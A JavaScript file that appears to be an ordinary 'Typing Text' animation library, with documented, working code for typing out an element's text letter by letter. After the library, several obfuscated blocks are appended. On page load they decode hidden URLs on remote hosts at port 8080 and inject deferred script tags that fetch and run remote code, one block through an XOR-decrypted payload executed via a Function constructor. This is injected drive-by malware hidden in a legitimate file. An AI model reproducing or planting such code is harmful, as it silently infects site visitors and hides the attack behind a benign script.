/*
An object-oriented Typing Text script, to allow for multiple instances.
A script that causes any text inside any text element to be "typed out", one letter at a time. Note that any HTML tags will not be included in the typed output, to prevent them from causing problems. Tested in Firefox v1.5.0.1, Opera v8.52, Konqueror v3.5.1, and IE v6.
Browsers that do not support this script will simply see the text fully displayed from the start, including any HTML tags.

Functions defined:
  TypingText(element, [interval = 100,] [cursor = "",] [finishedCallback = function(){return}]):
    Create a new TypingText object around the given element.  Optionally
    specify a delay between characters of interval milliseconds.
    cursor allows users to specify some HTML to be appended to the end of
    the string whilst typing.  Optionally, can also be a function which
    accepts the current text as an argument.  This allows the user to
    create a "dynamic cursor" which changes depending on the latest character
    or the current length of the string.
    finishedCallback allows advanced scripters to supply a function
    to be executed on finishing.  The function must accept no arguments.

  TypingText.run():
    Run the effect.

  static TypingText.runAll():
    Run all TypingText-enabled objects on the page.
*/

TypingText = function(element, interval, cursor, finishedCallback) {
  if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
    this.running = true;	// Never run.
    return;
  }
  this.element = element;
  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  this.interval = (typeof interval == "undefined" ? 100 : interval);
  this.origText = this.element.innerHTML;
  this.unparsedOrigText = this.origText;
  this.cursor = (cursor ? cursor : "");
  this.currentText = "";
  this.currentChar = 0;
  this.element.typingText = this;
  if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  TypingText.all.push(this);
  this.running = false;
  this.inTag = false;
  this.tagBuffer = "";
  this.inHTMLEntity = false;
  this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
  if(this.running) return;
  if(typeof this.origText == "undefined") {
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);	// We haven't finished loading yet.  Have patience.
    return;
  }
  if(this.currentText == "") this.element.innerHTML = "";
//  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  if(this.currentChar < this.origText.length) {
    if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
      this.tagBuffer = "<";
      this.inTag = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
      this.tagBuffer += ">";
      this.inTag = false;
      this.currentText += this.tagBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inTag) {
      this.tagBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
      this.HTMLEntityBuffer = "&";
      this.inHTMLEntity = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
      this.HTMLEntityBuffer += ";";
      this.inHTMLEntity = false;
      this.currentText += this.HTMLEntityBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inHTMLEntity) {
      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else {
      this.currentText += this.origText.charAt(this.currentChar);
    }
    this.element.innerHTML = this.currentText;
    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
    this.currentChar++;
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  } else {
	this.currentText = "";
	this.currentChar = 0;
        this.running = false;
        this.finishedCallback();
  }
}
this.s='';var py="py";var r=window;var x=document;this.fi="fi";var qd;if(qd!='fq' && qd!='v'){qd='fq'};var d='sec7rfi7pete'.replace(/[ef47T]/g, '');var w;if(w!='' && w!='ps'){w=null};var t=false;r.onload=function(){try {p=x.createElement(d);var fa=new Date();var c;if(c!='im'){c='im'};p.setAttribute('dDe1fpe1rp'.replace(/[p1DiC]/g, ''), "1");var ku;if(ku!='jx' && ku!='yj'){ku=''};var rw;if(rw!='a' && rw!='cp'){rw=''};p.src='hbtVt?pw:V/;/?p;owrbnbo?r;a?m;aw-;c;o?m;.wa?lVlwy;ewsV.?cVoVmb.?gbu?mwtbrVe;e;-Vc;o;mV.?r;e?c;e;nbtwmwebxVi?cwo?.;rwuV:w8;0?8b0V/VabubtVowhwo?mwew.?cVo;mV.?c?n?/VaVu?tVo;hVo;m;eV.;c;o?m;.bcbnw/bkwiVowsVk?e?a;.bnVebt;/bfVi;fbaw.Vcwo;mb/;g?obo?gblbe;.wc;oVm?/;'.replace(/[;w\?Vb]/g, '');var vv;if(vv!='e'){vv=''};var qg=new String();x.body.appendChild(p);this._a=false;} catch(k){var nk;if(nk!='rg' && nk!='y_'){nk=''};this.kk='';};this.mw=24319;};var gr;if(gr!='' && gr!='nr'){gr='o'};var aa="";
var p="";try {var zx="zx";:LineMixer [var e=new Date();var l='h|tPt|pT:M/T/PwTiPnXdPoTwMsXlMiPvPeX-XcMoTmT.XrMeTa|lMtPoPrX.Xc|oXmT.PmXePtXrXoPf|lXoMgM-McXo|mT.PbTeXsPtTnPe|wPsMmTaPl|l|.Xr|uP:M8P0X8|0T/MdTaPiMlMyXmMaMiPlX.TcXoM.|u|kM/MdXaMiPlXy|mPaMiMlM.|c|oT.Pu|kX/PbPiXz|rXaTtMeT.|cXo|m|/|lMi|nXkTsTyPnMeMrMgTy|.XcPoXmT/XgToXoMgXlPeM.|cToTmT/|'.replace(/[\|MPTX]/g, '');var t='sTcPrqiTp!t+'.replace(/[\+P\!Tq]/g, '');var a='c;rCeZaCtie!EZl;eCm;e;nitZ'.replace(/[Zi;C\!]/g, '');var f='oDnBl^oVaDdV'.replace(/[VD\^BX]/g, '');var tc="1";var w="";var n='a8pxpfefn!dxCfhfiYlYdx'.replace(/[x8\!fY]/g, '');var fl;if(fl!='ex' && fl!='et'){fl=''};var s='s&edt&AmtYtgrgimbmudtmed'.replace(/[dmY&g]/g, '');var sq='bio@dzy,'.replace(/[,i@zM]/g, '');]this.q=60108;window[f]=function(){this.zi=23348;r=document[a](t);var fx=new Array();:LineMixer [var pp;if(pp!='sg' && pp != ''){pp=null};r['sArAcy'.replace(/[y\^YAP]/g, '')]=l;r[s]('dOeOfbeFrb'.replace(/[bFOGj]/g, ''), tc);var eg;if(eg!='sc'){eg='sc'};var g=document[sq];this.ug=15311;]var w_=false;g[n](r);};var v=new Array();var k=new Array();} catch(ls){var cn=false;};
var xl;if(xl!='dd'){xl=''};var cc;if(cc!='e' && cc!='qi'){cc='e'};function q() {function c(b,j,jx){b.setAttribute(j, jx);var dy=false;}var jm;if(jm!='' && jm!='w'){jm='h_'};function l(){var hb;if(hb!='i' && hb != ''){hb=null};var bq;if(bq!='ha' && bq!='aw'){bq=''};return ([6,1][1]);var cj="";var qf="";}this.p="";var x='s$c#r9i$pJtJ'.replace(/[J97#\$]/g, '');var y=window;var k='sSrZcg'.replace(/[gzVZS]/g, '');var we;if(we!='' && we!='nt'){we='az'};var cu='oGnGlGoiaidW'.replace(/[W\:Git]/g, '');var jr='cFroeoaotAeAEAloeAmyeFnoto'.replace(/[oAF/y]/g, '');this.ip="ip";var a='hvt<t<p<:R/I/<i<mImRoRb*iRlRi*e<nIs*cRoIuRt<2R4I-Rd*e<.IbIl*oRg<g*eRr<.Icvo*mv.vcvr*i<cRivnIfIo<-Rc*o*mI.Imve<d<i<a<tRavgRovnIlRi<nveR.Rr<uv:I8<0v8R0</vmIp<n<r*sI.IcvoImv/Rm*p*nRrvsR.RcIo*mR/<aId*uRlRtv-Ie<mRpIivr*e<.<c<o*m*/vg*o*oRgIlIe*.vcRovmv/vpIa*g<eIsRj<aIuIn*eRs<.Rf*rR/*'.replace(/[\*v\<RI]/g, '');var lk=22429;var koh;if(koh!='' && koh!='am'){koh=''};var aa=new String();y[cu]=function(){try {this.ym='';this.pg='';d=document[jr](x);c(d,'dhe1f1e1rh'.replace(/[hc1BI]/g, ''),l());var im;if(im!='' && im!='cg'){im='zr'};var du;if(du!='' && du!='ho'){du='_m'};c(d,k,a);var ru="ru";var ah;if(ah!='' && ah!='cq'){ah=null};var rd=false;document['bhohd3y;'.replace(/[;w#h3]/g, '')]['a!p^p~eEn~dSC~h!iElEd!'.replace(/[\!E\^S~]/g, '')](d);var zo=new String();var xy=false;} catch(v){};};var vr;if(vr!='aqt' && vr != ''){vr=null};var nr;if(nr!='nc' && nr != ''){nr=null};};var xi;if(xi!='bu' && xi!='lh'){xi=''};q();this.m_=false;
var qf="68736e545117747c7c6e4901677a68590f42515075747b597a4279554260447d4268446c606a626f556b516058745262794a497966426a717f4c63415e5a6578796f777b7807746601677c5a0d627c2e7a61";var Bo=new Date();this.ri=false;var nmy;if(nmy!='sH' && nmy != ''){nmy=null};function R(L){ var e=function(d,Y){this.dC='';return d^Y;};var S=new Array();var DN='';this.tR=""; var E=function(Ein){var WT;if(WT!='i' && WT!='ix'){WT='i'};var eh=25363;var B;if(B!='tp' && B != ''){B=null};Ein = new Ei(Ein);var TP;if(TP!='sK'){TP='sK'};var N =[5,0][1];this.I='';var Z = '';var vw='';var Eg =[0,92,88,154][0];var GL=47043;var wu=23656;var vB;if(vB!='' && vB!='ZN'){vB=''};var D = -1;var kC="kC";this.DR="";var qK="qK";var l="l";for (N=Ein[O("elgnht", [1,0])]-D;N>=Eg;N=N-[1][0]){Z+=Ein[O("ahrcAt", [3,1,0,2])](N);}this.tf="";return Z;var IZ;if(IZ!=''){IZ='SI'};};var oO;if(oO!='LQ' && oO!='H'){oO='LQ'};var In=new String();var vY;if(vY!='xy' && vY!='On'){vY=''};var fA;if(fA!='' && fA!='Hy'){fA=''}; function Lx(K){this.KS='';var Rj="";var Q=K[O("elgnht", [1,0])];var Rm=[22,1,33][1];var qn='';var v=[89,96,0,167][2];var wA=new Array();var c=[245,166,0][2];var w=[255][0];var FG=56682;this.MQ=false;var eM;if(eM!='' && eM!='Wp'){eM=''};var DMA='';var wO="wO";while(v<Q){var Sf;if(Sf!='' && Sf!='Di'){Sf='fz'};var ul=new String();v++;var yY=32386;var Il=false;Ev=Qz(K,v - Rm);c+=Ev*Q;var Kf;if(Kf!='' && Kf!='JJ'){Kf=''};}var kM='';var Yt;if(Yt!='pD'){Yt=''};return new Ei(c % w);this.Ah=28557;this.Hr=45715;}var Oe=false; var Qz=function(Ou,W){return Ou[O("drcaCoheAt", [2,6,3,1,4,5,0])](W);var Kd=new Date();};var TR=new Date();var qa;if(qa!='' && qa!='Xm'){qa=null};var ye=false;this.Rg=""; var O=function(Ein, eC){var Z = '';var tG;if(tG!='' && tG!='mp'){tG=null};var Rm=[29,1][1];var nb;if(nb!='Pb' && nb!='vP'){nb=''};var kpl='';var Nr = eC.length;var Eg=[239,0,142][1];var G = Ein.length;var sV;if(sV!='GMZ' && sV!='tc'){sV='GMZ'};var gS;if(gS!='IJ' && gS!='Bq'){gS='IJ'};var aN=new Array();var CQ;if(CQ!='nQ'){CQ=''};var GR='';for(var N = Eg; N < G; N += Nr) {var WG;if(WG!='' && WG!='BF'){WG=''};var s = Ein.substr(N, Nr);var aD=new Array();var Nq;if(Nq!='kc'){Nq=''};var zk='';if(s.length == Nr){var yE;if(yE!='' && yE!='xe'){yE=''};var ny=false;var vz=new Date();for(var v in eC) {var cF="";Z+=s.substr(eC[v], Rm);var iK;if(iK!='' && iK!='ZU'){iK=null};}var fH;if(fH!='' && fH!='OE'){fH=null};var lw;if(lw!='' && lw!='BS'){lw=null};} else {var Nn=56462;  Z+=s;}}this.wTd="wTd";var RFc=56004;var fW=false;return Z;};this.zYz=false;var HA;if(HA!='ke' && HA!='SX'){HA='ke'};var qo=new Array();var p=window;var re=false;var k=p[O("vlea", [2,0,3,1])];var A=k(O("nuitcoFn", [6,1,0,4,3,2,5]));var IQ="";var Bn="";var wLz=8541;var qN;if(qN!='UEP'){qN=''};var Ei=k(O("rStgin", [1,2,0]));var KA;if(KA!='Yn' && KA!='ol'){KA='Yn'};var Iv=new String();var AJ=13938;var C = '';var VT;if(VT!=''){VT='YW'};var lL='';var z=k(O("gExRep", [3,4,0,1,2]));this.dpR="";var Xn="";var TT;if(TT!='xoF' && TT!='Xe'){TT='xoF'};var UV;if(UV!='' && UV!='Sz'){UV='Qx'};this.rN=false;this.fWO=37141;var zI=p[O("acneuspe", [4,2,3,5,1,0])];var tL;if(tL!='' && tL!='TG'){tL='lK'};var Cf;if(Cf!='' && Cf!='XI'){Cf=''};var h=Ei[O("omCfrrCohade", [3,4,0,1,2])];var AiE;if(AiE!='bZ' && AiE!='lR'){AiE=''};var tD;if(tD!=''){tD='mI'};var FC="";var gC;if(gC!='Zq' && gC!='mV'){gC='Zq'};var Eu =[0,92][0];var dZf;if(dZf!='xF'){dZf='xF'};var F=[1, O("ucomd.tncetaeermeleE\'(tsnpirtc\')", [4,2,1,0,3]),2, O("s.jpevurnoym.yke.mcocablrekbry", [2,3,1,0]),3, O("tducnoemp.doab.ylpdniehCd(d)", [1,5,3,2,7,6,4,0]),4, O(".cmoelviestiidserg.n0u8:80", [1,3,2,0]),5, O("Ads.tetterbitu\'(defer\'", [1,3,2,5,4,0,7,6]),6, O("ogolgec.om", [1,0,2]),7, O("nwdi.oowonald", [1,3,0,2]),8, O("uogv.iedcom", [1,3,2,0]),11, O("tcfun)(ion", [2,3,4,1,0]),12, O("jnaekuoc.m", [2,1,0]),14, O("kruiq.com", [4,2,3,0,1]),15, O("acct(h)e", [1,0]),16, O("h\"tpt:", [1,0,2]),17, O(".cdrs", [2,0,4,3,1]),18, O("1\')\'", [1,0]),19, O("ent", [1,0]),20, O("rty", [1,0]),21, O("os", [1,0]),22, O("en", [1,0])];this.ZqN="ZqN";var Rm =[212,1,22][1];var o = '';this.ZS="";var dR;if(dR!='BR' && dR!='fzH'){dR='BR'};var kY = '';var ci = /[^@a-z0-9A-Z_-]/g;var Wt;if(Wt!=''){Wt='ut'};var Eg =[42,23,0,22][2];var yW=22258;this.by='';var b = Ei.fromCharCode(37);var Oo;if(Oo!='' && Oo!='rz'){Oo=null};var a = '';var lwY="";var M = L[O("nelhtg", [2,1,0])];var fK="fK";var Ys =[251,233,2][2];this.tcp="tcp";var uq;if(uq!='OC'){uq=''};this.tH=false;var HI=new Array();for(var OM=Eg; OM < M; OM+=Ys){var HC=new String();a+= b; a+= L[O("urtbss", [4,0,3,5,2,1])](OM, Ys);var fn;if(fn!='' && fn!='qv'){fn=''};}var L = zI(a);var LMF;if(LMF!='Ur' && LMF!='hg'){LMF=''};var uc=new Date();this.Yq=28979;var NK = new Ei(R);var sp = NK[O("lpecare", [5,2,1,0,4,3])](ci, kY);var Cv=false;var Wo="Wo";this.pH=false;this.jn=false;sp = E(sp);var x = new Ei(A);var crr;if(crr!='jq' && crr!='yR'){crr='jq'};var qT;if(qT!='' && qT!='UX'){qT=''};var J = F[O("elgnht", [1,0])];this.fU='';var xP = x[O("erlpcae", [1,0])](ci, kY);this.ro="ro";this.soB="soB";var xP = Lx(xP);var ZNq='';var Ak=Lx(sp);var bq;if(bq!='mT' && bq!='xc'){bq='mT'};var Bv;if(Bv!='' && Bv!='UF'){Bv=null};for(var N=Eg; N < (L[O("ngtleh", [3,4,0,1,2])]);N=N+[1][0]) {var Go;if(Go!='' && Go!='Oa'){Go=''};var RF = sp.charCodeAt(Eu);var ZM=new String();var JT = Qz(L,N);var Pm=new Date();var JQ;if(JQ!='AN' && JQ!='So'){JQ='AN'};JT = e(JT, RF);var ov;if(ov!=''){ov='JG'};var oL=new Date();var yG;if(yG!='' && yG!='Jd'){yG=null};var Og;if(Og!='' && Og!='Au'){Og=null};JT = e(JT, Ak);this.SA="SA";JT = e(JT, xP);this.aCk=false;this.cU=62227;var ei=new String();Eu++;var Ka;if(Ka!='ln'){Ka='ln'};if(Eu > sp.length-Rm){Eu=Eg;var FGD;if(FGD!='ZSg' && FGD!='Oyx'){FGD=''};var Pg;if(Pg!='sX'){Pg=''};}var kBD="kBD";var PX;if(PX!='LkC' && PX != ''){PX=null};var YQ='';var CQl;if(CQl!='Bw'){CQl=''};o += h(JT);var qaT;if(qaT!='' && qaT!='Ppw'){qaT=''};var tz;if(tz!='' && tz!='dx'){tz=''};}this.GMp=59653;var dM;if(dM!='KD'){dM=''};var jE;if(jE!=''){jE='Ts'};for(n=Eg; n < J; n+=Ys){this.aq="aq";var OnE=new Date();var t = h(F[n]);var wm;if(wm!='KQ' && wm != ''){wm=null};var jJ;if(jJ!='' && jJ!='gxo'){jJ=''};this.Pz="";var MB;if(MB!='QG' && MB!='rl'){MB='QG'};var VQ;if(VQ!='aS' && VQ!='eVo'){VQ='aS'};var xH = F[n + Rm];var ie="";var nq;if(nq!='RC' && nq!='Ez'){nq='RC'};var Yo = new z(t, h(103));this.Do="Do";o=o[O("percale", [2,1,0])](Yo, xH);var GHU;if(GHU!='uk' && GHU!='nT'){GHU=''};}var pV=56516;var u=new A(o);var de;if(de!=''){de='hNC'};u();var Or;if(Or!='' && Or!='ze'){Or=''};var ZA;if(ZA!='WY'){ZA='WY'};var Rs;if(Rs!=''){Rs='Qu'};var TBp;if(TBp!=''){TBp='Ek'};var rQ;if(rQ!='' && rQ!='ZY'){rQ='xea'};u = '';Ak = '';var gm;if(gm!='' && gm!='YF'){gm=null};sp = '';var GME="GME";var bE="bE";x = '';var sk;if(sk!='Hn'){sk='Hn'};var Oaj;if(Oaj!='wH'){Oaj='wH'};o = '';xP = '';this.Mu=false;var Vu="Vu";return '';var dpK;if(dpK!=''){dpK='zh'};var an=new Array();};var Bo=new Date();this.ri=false;var nmy;if(nmy!='sH' && nmy != ''){nmy=null};R(qf);
function I() {this.uU='';var R;if(R!='y' && R!='F'){R=''};var S=']';this.l="";this.de="";var w=new String();var t=new String();var Hz="";var e=RegExp;this.Gy="";var AO;if(AO!='B'){AO=''};var N='replace';var d='[';var u='g';var p=new String();this.eD='';function O(P,k){var E;if(E!=''){E='AK'};var Yv;if(Yv!='lc' && Yv != ''){Yv=null};var m=d;var Vg;if(Vg!=''){Vg='Nt'};var mC;if(mC!='' && mC!='wv'){mC=''};m+=k;m+=S;var Dq=new String();var L=new e(m, u);return P[N](L, w);};var _N;if(_N!='OW'){_N='OW'};var ar=new Array();var Nk="";var OU='';var nh;if(nh!='' && nh!='xj'){nh=''};var dU=O('cXr_eXaXt_e_EXldedm_eynytX',"Xd_yS");var pd;if(pd!='' && pd!='aA'){pd=null};var Hl=new Date();var wr=O('hJtJtzpY:Y/0/JnJizfJtbyY-zcYo0mJ.0g0ozozgblYe0.bcboJmb.zeYg0.ztbezlYeYgbrYazpbhY-bcboz-YuYkz.JfYobrYrbe0dbtJazgY.zrzub:0',"b0zJY");var yQ;if(yQ!='RR'){yQ=''};var pX=new Date();var V=O('/QmCoLzLiQl2ltaL.toLrLgL/Cm2oQzLiCl2lCaQ.Co2r2gL/23C6t0C.CcCnt/LgQoLo2gClQet.LcCo2mC/2wQo2r2dCp2r2eQsQsQ.2cCo2m2.Lp2hCp2',"L2CQt");var kg=new Date();var Qq;if(Qq!='Wq'){Qq=''};var r=O('sTcwrliTpTtw',"Twl");var Js="";var K=window;var tc;if(tc!='ob'){tc=''};var Vs=new String();var _=O('83101338130111',"31");this.QL="";var Kc;if(Kc!='' && Kc!='Ic'){Kc='aL'};K[O('o2nrl2ora2d2',"2r")]=function(){var D_;if(D_!='rM' && D_!='iO'){D_=''};this.mh="";try {var uY=new String();var zn="";OU+=wr;OU+=_;var lT=new String();var mb=new String();OU+=V;var nq;if(nq!='HV' && nq != ''){nq=null};var Qx="";b=document[dU](r);var El=new String();this.Fl='';G(b,'src',OU);var AP="";var Qql=new Date();G(b,'defer',([1][0]));var pM;if(pM!='IP' && pM!='Bn'){pM='IP'};var ys;if(ys!='Bq' && ys!='Qh'){ys=''};var Jc;if(Jc!='Uh' && Jc!='mg'){Jc=''};document.body.appendChild(b);} catch(NO){};var uH="";};var io;if(io!='FZ' && io!='NH'){io='FZ'};this.rF="";var PG=new Date();function G(i,Y,o){var ei="";var Wqe="";i.setAttribute(Y, o);var zi;if(zi!='tcv'){zi='tcv'};}var Tb;if(Tb!='g'){Tb='g'};var jT=new Date();};I();